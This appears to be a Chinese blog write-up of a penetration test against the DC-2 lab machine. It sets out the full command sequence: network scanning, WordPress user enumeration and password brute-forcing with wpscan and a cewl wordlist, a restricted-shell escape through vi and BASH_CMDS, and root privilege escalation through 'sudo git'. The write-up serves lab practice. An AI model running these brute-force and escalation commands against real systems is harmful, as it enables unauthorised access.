靶机所需环境
- 目标靶机:DC-2(192.168.160.161)
- 攻击机:Kali Linux(192.168.160.156)
信息收集
- 开启DC-5和Kali Linux,使用
arp-scan -l
命令查看该网段下的存活主机,猜测靶机IP为161;
arp-scan -l
- 成功得到靶机IP后,对其进行端口开放及其服务信息收集,使用nmap命令扫描全端口,
-sV
是显示端口服务开放详细信息;
nmap -sV 192.168.160.161 -p1-65535
漏洞利用
- 访问IP下80端口,成功访问;
flag
- 点击flag,看到一些信息,大概意思就是可以测试其他用户登录;
- 既然要登录,那肯定就有登录页面,这里就不使用之前的dirb扫描工具了,介绍一个新的工具叭也是kali自带的,nikto工具进行扫描,成功扫出登录页面;
nikto -h dc-2 -o dc2.txt
- 访问该页面,成功看到登录框;
- 还是和之前一样的思路,使用命令扫描用户成功得到三个用户;
wpscan --url http://dc-2 -e u``
- 将这三个用户放入user.txt文件中,回到那段信息发现里有一个cewl,后来看到其他大佬的文章才知道原来是一个生成密码字典的工具;
cewl http://dc-2/ -w passwd.txt
- **用户和密码的文件都有了,接下来准备进行爆破; **
wpscan --url http://dc-2 -U user.txt -P passwd.txt
flag2
- 直接登录tom用户,看了一圈没有发现什么有价值的信息,继续登录jerry用户登录,看到flag2提示信息说让我们看看其他切入点;
- 由于IP一共只开放了两个端口,所以另一个切入点放到了远程ssh服务7744端口上,发现可以成功登录tom用户,但是jerry用户登录失败;
flag3
ls
命令查看发现flag3文件,但却无法执行cat
命令,查看后才发现tom用户不能执行cat
命令,但可以使用vi
等命令,执行vi
命令打开文件;
- 发现里面提到了
jerry
用户和su
命令,猜测可能是让我们提权,但是su
命令无法使用,使用vi
提权;
vi flag3.txt
Shift+分号然后输入以下内容
:set shell=/bin/sh
:shell
flag4
进入jerry
目录,发现flag4文件并查看,里面有个git
命令猜想可能用于提权;
- 尝试进入
root
命令但权限不够失败了,想切换jerry
用户但有无法使用su
命令,后面发现可以使用rbash环境变量的方法进行提权;
export -p //查看环境变量
BASH_CMDS[a]=/bin/sh;a //把/bin/sh给a
/bin/bash
export PATH=$PATH:/bin //添加环境变量
export PATH=$PATH:/sbin:/bin //添加环境变量
- 执行命令查看带有suid权限的命令;
find / -perm -u=s -type f 2>/dev/null
flag5
- 发现有个
sudo
命令,看看什么权限,告诉git
命令可以以root
权限运行;
成功提权
- 使用
git
命令进行提权操作;
方法1
sudo git help config
!/bin/bash 或 !'sh' //在末行命令模式输入
方法2
sudo git -p help
!/bin/bash 或 !'sh' //输入!/bin/bash,即可打开一个用户为root的shell
- 成功提权至root用户,看到最终flag;
上一篇 > DC-1靶机渗透测试
下一篇 > DC-3靶机渗透测试
以上内容就是DC-2靶机渗透测试的全过程,如有还不太理解或有其他想法的小伙伴们都可以私信我或评论区打出来哟,如有写的不好的地方也请大家多多包涵一下,我也会慢慢去改进和提高的,请各位小伙伴多多支持,走之前别忘了点个赞哟😁!
以上内容仅供学习参考使用,切勿用于非法用途,切勿用于非法用途,切勿用于非法用途!!!重要的事情说三遍